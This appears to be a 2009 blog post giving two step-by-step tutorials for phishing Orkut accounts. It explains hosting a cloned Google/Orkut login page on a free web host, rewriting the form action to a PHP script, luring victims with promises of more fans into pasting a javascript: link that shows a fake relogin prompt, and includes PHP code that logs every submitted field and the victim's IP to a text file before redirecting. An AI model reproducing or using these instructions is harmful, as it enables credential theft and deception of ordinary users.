Tuesday, October 13, 2009

Hack Orkut PHISHING 110%

Many of u no it.....Ignore den...

so lets start

==================



1. Download the fake page and need ed file from here...



http://www.freeuploading.com/cgi-bin/download.pl?id=1433d





2. Open souvik.php wid notepad



3. Edit the line "$handler = fopen("souvik.txt", "a");"



by just replace with ur wanted file name "ur_name.txt"



4.Save and close souvik.php



5. REname Souvik.txt file wid da name u given "ur_name" and file type .txt



6. Create a accnt in [content suppressed] or freeweb7.com



7.Upload the 2 files in a same directory in ur freewebserver....



expml...



souvik.php

ur_name.txt



uploaded url

----------------

[content suppressed][content suppressed]



8. Now open "ServiceLogin.htm" file



9. Type ctr+f to find then search the word "action"



10. Replace the url after action="......." to ur souvik.php url.........



exmpl....





11.Now save it and close it



12. Now upload the fake page ie. ServiceLogin.htm and create a folder in da same directory named "ServiceLogin_files"



13. Now upload the images of da folder "ServiceLogin_files" which i gave u...when u extract da rar...



14. Hence u r done Now
 
15. Now replace the blue italics url to ur fake page url...........


==================

javascript:document.write("");alert("Orkut Server Problem...Please Relogin to continue..");document.title="orkut - Login";void(0)

==========================

Now save it



16. SAy any lame user dat it will increase his fan/1000member/100frndz...etc etc.....



ask him to copy paste dat link when he is in orkut....

and u r done



17. Now when he copy paste and hit enter his browser will be prompted....



""Orkut Server Problem...relogin"



18 DEn u can see his password in the txt url...



htt://[content suppressed] file







Enjoy

orkut make any fake page

1. For this tut, we will use orkut.com as our page that we would like to make a phisher of.
.
.
.
2. Go to http://orkut.com
.
.
.
3. We will now begin to make our phisher. Start by right clicking on the page and click view source.
.
.
.
4. Select all and paste into a notepad document.
.
.
.
5. You should see a bunch of random html coding, but we are only interested in two words: method and action.
.
.
.
6. Do a search in the document for the word "method" (without quotes).
.
.
.
7. Your result should be something like : method="post"
.
.
.
8. Change the word post to the word get.
.
.
.
9. Now do a search for the word "action" (without quotes). action is usually very close to method so you may not even have to do a search for it.
.
.
.
10. You should see something like this: action="https://www.google.com/accounts/ServiceLoginAuth?service=orkut"
.
.
.
11. Where the url in between the quotes is, replace the text with next.php so the new part says: action="nxt.php"
.
.
.
12. Save this file as index.html and create a new document on notepad.


13. In the new document, we will be making the nxt.php page, or the page that they are directed to after you have gotten their log-in information.
.
.
.
14. Copy and paste this code into the notepad document:
Code:
Put your REDIRECT URL Here");
$handle = fopen("passhack.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip | Date: $datum (Date=0 GTM)\r\n");
fwrite($handle, "\r\n");
fclose($handle);

setcookie ("user", "empty", time()+3600);
exit;
?>
.
.
.
15. after the word location, where it says redirect url here, put in the original log-in screen url, or the url of the page that you want to send them after they type in their information. My nxt.php file looks like this:
.
.
.
Code:
http://www.orkut.co.in/Main#Home.aspx");
$handle = fopen("passez.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip | Date: $datum (Date=0 GTM)\r\n");
fwrite($handle, "\r\n");
fclose($handle);

setcookie ("user", "empty", time()+3600);
exit;
?>
.
.
.
16. Save this file as nxt.php and open up a new notepad document.
.
.
.

Files:
1: index.html
2: nxt.php
3: passhack.txt
4: google logo ]https://www.google.com/accounts/google_transparent.gif[